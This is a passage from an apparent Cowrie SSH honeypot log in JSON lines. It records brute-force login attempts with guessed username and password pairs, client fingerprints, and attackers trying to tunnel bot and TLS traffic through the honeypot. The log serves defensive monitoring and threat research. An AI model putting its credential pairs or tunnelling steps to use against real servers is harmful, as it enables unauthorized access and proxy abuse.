lman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:27.561483Z","src_ip":"101.79.165.43","session":"84675525dd9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:27.996108Z","src_ip":"178.20.210.208","session":"06640a889ff8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa666888","message":"login attempt [root/Aa666888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:28.468915Z","src_ip":"101.79.165.43","session":"84675525dd9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:29.696428Z","src_ip":"101.79.165.43","session":"84675525dd9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.192.194","src_port":64830,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9bdfc41f8d3","protocol":"ssh","message":"New connection: 173.208.192.194:64830 (10.17.0.5:22) [session: b9bdfc41f8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:32.184124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:32.188747Z","src_ip":"173.208.192.194","session":"b9bdfc41f8d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:32.345390Z","src_ip":"173.208.192.194","session":"b9bdfc41f8d3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:32.874997Z","src_ip":"173.208.192.194","session":"b9bdfc41f8d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":42618,"dst_ip":"159.203.135.109","dst_port":22,"session":"11d012da929f","protocol":"ssh","message":"New connection: 103.60.242.169:42618 (159.203.135.109:22) [session: 11d012da929f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:33.174144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:33.178554Z","src_ip":"103.60.242.169","session":"11d012da929f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:33.431641Z","src_ip":"103.60.242.169","session":"11d012da929f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":55834,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b38fb756020","protocol":"ssh","message":"New connection: 113.164.152.20:55834 (10.17.0.5:22) [session: 0b38fb756020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:34.131790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:34.135996Z","src_ip":"113.164.152.20","session":"0b38fb756020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:34.421798Z","src_ip":"113.164.152.20","session":"0b38fb756020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazwsx@123","message":"login attempt [ubuntu/qazwsx@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:34.479871Z","src_ip":"103.60.242.169","session":"11d012da929f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:35.634432Z","src_ip":"113.164.152.20","session":"0b38fb756020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:35.737784Z","src_ip":"103.60.242.169","session":"11d012da929f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:36.069501Z","session":"0b38fb756020","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:36.180036Z","session":"0b38fb756020","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:37.347998Z","src_ip":"113.164.152.20","session":"0b38fb756020","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_4_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=WlRvRzMmYnU4aFh4QiZeQg%3D%3DLJdA4MHFMG9vyCC5qIrUIgjHlXnTotqyicJadvwyeurjwMAVdChYPsgvGGT2%2B3%2BEGifJZgXFHpa8HSqvjslrBJlflobxXVd2kQ1b3X6vTfORK8UShkhO%2BgDQgIfURcPkk9DDCApTcA2QC6cDCrSYVDsh%2BwX6HdMuldAgWqwzSoc5DYXP2MMvGw0tSc0LqnTAQHGSJWxY13tRTuWjFRsJ32VI1C6LhiCRpNoLtGdsrsrCHg0WM0GrSn52wJ7WhmKOtC%2FzM4XilUau0mBXC0p3HinyEcDR7qmuMeBl7djQVKdRIwBRcByJa5yCDvLDBLsly2o8c73XQvzsaX8wvSwv2%2FeoEPMRwIOUTAYpmPxsQ4BEcwCG5EErD%2Bx2l3BfaPNNMckkXlwazZGmBavbQyjzlrZoFxZxmat3OpZSOBipNgZ30rrVrKb7%2FJ%2FGsqmZEZvRjpV31nJJZOVwCWS%2B8LShpYKjRshEvu%2FMwTIfbIHz5CvoBq5Io2S2dHvw4H%2F5TArDhL3xKCOecAzmHK82h3Dq1NghKCz2TpMAk%2Bhx0vguppYEU2yzrVwQtx9wR0Pxke2aRsbCU9Wxaaq1jqyQE0oMcKHsBxVwInHtBSaBwCowYu1CT7vZU8QhYi4hd1oq2fSz9ufFMocBKi2N6%2By4Cq52b6bIbxNJJrmBQ0KuRlco0%2BQj2cjQA8hUk9%2ByfXFzvHJjYNQL4MJNle4snTXtod7qYEtDCGqIVkRJvbTOZFsWHSIng4TNxCEwLlKVLekSwYn%2BXYyb9xRPAs%2BD6dBFDf5c3Q2ERkBBu5nqWB5h4UWd3NPWrAvFifap94qnwuV30oQIZV7etOIW5hdPj8ocaJFv5mmQDCS0wI8oHq%2Bg%2BqiZL9Zclk%2BeeybHrn%2BM3mzN5HZTjWlITe5qji5KWvzm3ZgjRYFWWx%2FZ7La8boqueTFqJ1LPVOdHc68aFpqyjtkXxuKzirxOSDxUImEn%2BUSURO7tJKi4XUm%2BNXtfucTJLu7oVDSdFcjita7d7K%2FEFb%2BBkfpbJtU5HG2w5SvzPdc9pRlxFrdSV5VcRP1%2FfYIgL6ESKaRevsjY7hbWvlH1%2F1VypST7'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_4_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=WlRvRzMmYnU4aFh4QiZeQg%3D%3DLJdA4MHFMG9vyCC5qIrUIgjHlXnTotqyicJadvwyeurjwMAVdChYPsgvGGT2%2B3%2BEGifJZgXFHpa8HSqvjslrBJlflobxXVd2kQ1b3X6vTfORK8UShkhO%2BgDQgIfURcPkk9DDCApTcA2QC6cDCrSYVDsh%2BwX6HdMuldAgWqwzSoc5DYXP2MMvGw0tSc0LqnTAQHGSJWxY13tRTuWjFRsJ32VI1C6LhiCRpNoLtGdsrsrCHg0WM0GrSn52wJ7WhmKOtC%2FzM4XilUau0mBXC0p3HinyEcDR7qmuMeBl7djQVKdRIwBRcByJa5yCDvLDBLsly2o8c73XQvzsaX8wvSwv2%2FeoEPMRwIOUTAYpmPxsQ4BEcwCG5EErD%2Bx2l3BfaPNNMckkXlwazZGmBavbQyjzlrZoFxZxmat3OpZSOBipNgZ30rrVrKb7%2FJ%2FGsqmZEZvRjpV31nJJZOVwCWS%2B8LShpYKjRshEvu%2FMwTIfbIHz5CvoBq5Io2S2dHvw4H%2F5TArDhL3xKCOecAzmHK82h3Dq1NghKCz2TpMAk%2Bhx0vguppYEU2yzrVwQtx9wR0Pxke2aRsbCU9Wxaaq1jqyQE0oMcKHsBxVwInHtBSaBwCowYu1CT7vZU8QhYi4hd1oq2fSz9ufFMocBKi2N6%2By4Cq52b6bIbxNJJrmBQ0KuRlco0%2BQj2cjQA8hUk9%2ByfXFzvHJjYNQL4MJNle4snTXtod7qYEtDCGqIVkRJvbTOZFsWHSIng4TNxCEwLlKVLekSwYn%2BXYyb9xRPAs%2BD6dBFDf5c3Q2ERkBBu5nqWB5h4UWd3NPWrAvFifap94qnwuV30oQIZV7etOIW5hdPj8ocaJFv5mmQDCS0wI8oHq%2Bg%2BqiZL9Zclk%2BeeybHrn%2BM3mzN5HZTjWlITe5qji5KWvzm3ZgjRYFWWx%2FZ7La8boqueTFqJ1LPVOdHc68aFpqyjtkXxuKzirxOSDxUImEn%2BUSURO7tJKi4XUm%2BNXtfucTJLu7oVDSdFcjita7d7K%2FEFb%2BBkfpbJtU5HG2w5SvzPdc9pRlxFrdSV5VcRP1%2FfYIgL6ESKaRevsjY7hbWvlH1%2F1VypST7'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:37.351153Z","src_ip":"113.164.152.20","session":"0b38fb756020","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:37.354939Z","src_ip":"113.164.152.20","session":"0b38fb756020","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xae<\\x8f\\xb7\\xb7H\\x16\\xdd\\x9a'\\xca\\x0b,E\\xddM\\x82\\x19\\xd8d\\xd2\\xc7\\xbe\\x11\\x1c\\xe7\\xea\\t\\xc45\\xa4\\xed \\xdaqj\\xd0\\r\\xbb\\xa6\\x89\\x1f3\\x08\\x1f\\xbdf1\\xfb\\xd5\\xc0?\\xf5\\x8ft\\x08\\xe5T\\x86\\xef\\xe3#\\xb8\\x88\\x08\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x88*E\\xa1\\x02V<\\x18\\x1b\\x17\\xb3\\xa7\\x99\\x05\\x0b\\x92\\xf0\\x11Z\\x14Z\\xb4\\xf9N\\xf9\\xf8\\x11\\xa3EZM?\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xae<\\x8f\\xb7\\xb7H\\x16\\xdd\\x9a'\\xca\\x0b,E\\xddM\\x82\\x19\\xd8d\\xd2\\xc7\\xbe\\x11\\x1c\\xe7\\xea\\t\\xc45\\xa4\\xed \\xdaqj\\xd0\\r\\xbb\\xa6\\x89\\x1f3\\x08\\x1f\\xbdf1\\xfb\\xd5\\xc0?\\xf5\\x8ft\\x08\\xe5T\\x86\\xef\\xe3#\\xb8\\x88\\x08\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x88*E\\xa1\\x02V<\\x18\\x1b\\x17\\xb3\\xa7\\x99\\x05\\x0b\\x92\\xf0\\x11Z\\x14Z\\xb4\\xf9N\\xf9\\xf8\\x11\\xa3EZM?\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:37.357623Z","src_ip":"113.164.152.20","session":"0b38fb756020","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:37.638992Z","session":"0b38fb756020","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:37.917971Z","src_ip":"113.164.152.20","session":"0b38fb756020","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\\\}AE\\'\\xcd\\xdeR\\xbb\\xa9]\\xf4\\x13\\x9bZ\\xbd\\xd7\\xc5\\x8b\\xefN]\\x8a\\x9e\\xf3f\\xf8khL\\x1d\\x85 